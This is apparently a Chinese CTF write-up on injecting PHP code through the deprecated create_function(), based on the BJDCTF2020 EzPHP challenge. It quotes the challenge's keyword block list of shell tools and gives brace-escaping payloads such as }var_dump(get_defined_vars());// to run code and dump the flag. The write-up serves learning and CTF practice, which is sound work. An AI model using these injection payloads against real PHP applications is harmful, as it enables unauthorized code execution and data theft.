create_function()命令执行

本文最后更新于:2023年7月7日 下午

create_function()命令执行

1
2
3
4
5
6
7
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
}

这里的重点是:

第五点的:

1
extract($_GET["flag"]);

extract()函数作用是:将数组值 赋值给数组名同名的变量

我们可以通过这里去产生 $code$arg 变量

1
2
include "flag.php";
$code('', $arg);

$code('', $arg); 这一句十分重要

由于括号中使用的是逗号,我们一般的命令执行应该使用不了,参数不能控制。

了解到一种新的方法:create_function()代码注入

PHP 7.2.0开始,create_function()被废弃

文章:https://www.scnblogs.com/-chenxs/p/11459374.html

create_function($arg1,$arg2)会创造一个匿名函数,

函数的参数部分由 $arg1指定

函数体由 $arg2 指定

例如:

1
2
3
<?php
create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
?>

会创建以下匿名参数:

1
2
3
function lambda($a,$b){
return "ln($a) + ln($b) = " . log($a * $b);
}

我们可以在 $arg2 进行改动,实现代码注入

如果$arg2 = }phpinfo();// 可以执行phpinfo()函数

原因:首先 } 将匿名函数的大括号}闭合了,然后 // 将后面的大括号}给注释掉了

所以,这之间就可以写相应的代码了

由于这里过滤了很多东西,但是恰好引入了 flag.php,其中一定存在相应的flag变量

所以我们可以使用 get_defined_vars()函数:返回所有已定义变量组成的数组

然后使用 var_dump()进行输出

这样就可以知道有关flag的变量名了

1
arg=}var_dump(get_defined_vars());//

例题:

[BJDCTF2020]EzPHP


create_function()命令执行
https://leekosss.github.io/2023/08/24/create_function()命令执行/
作者
leekos
发布于
2023年8月24日
更新于
2023年7月7日
许可协议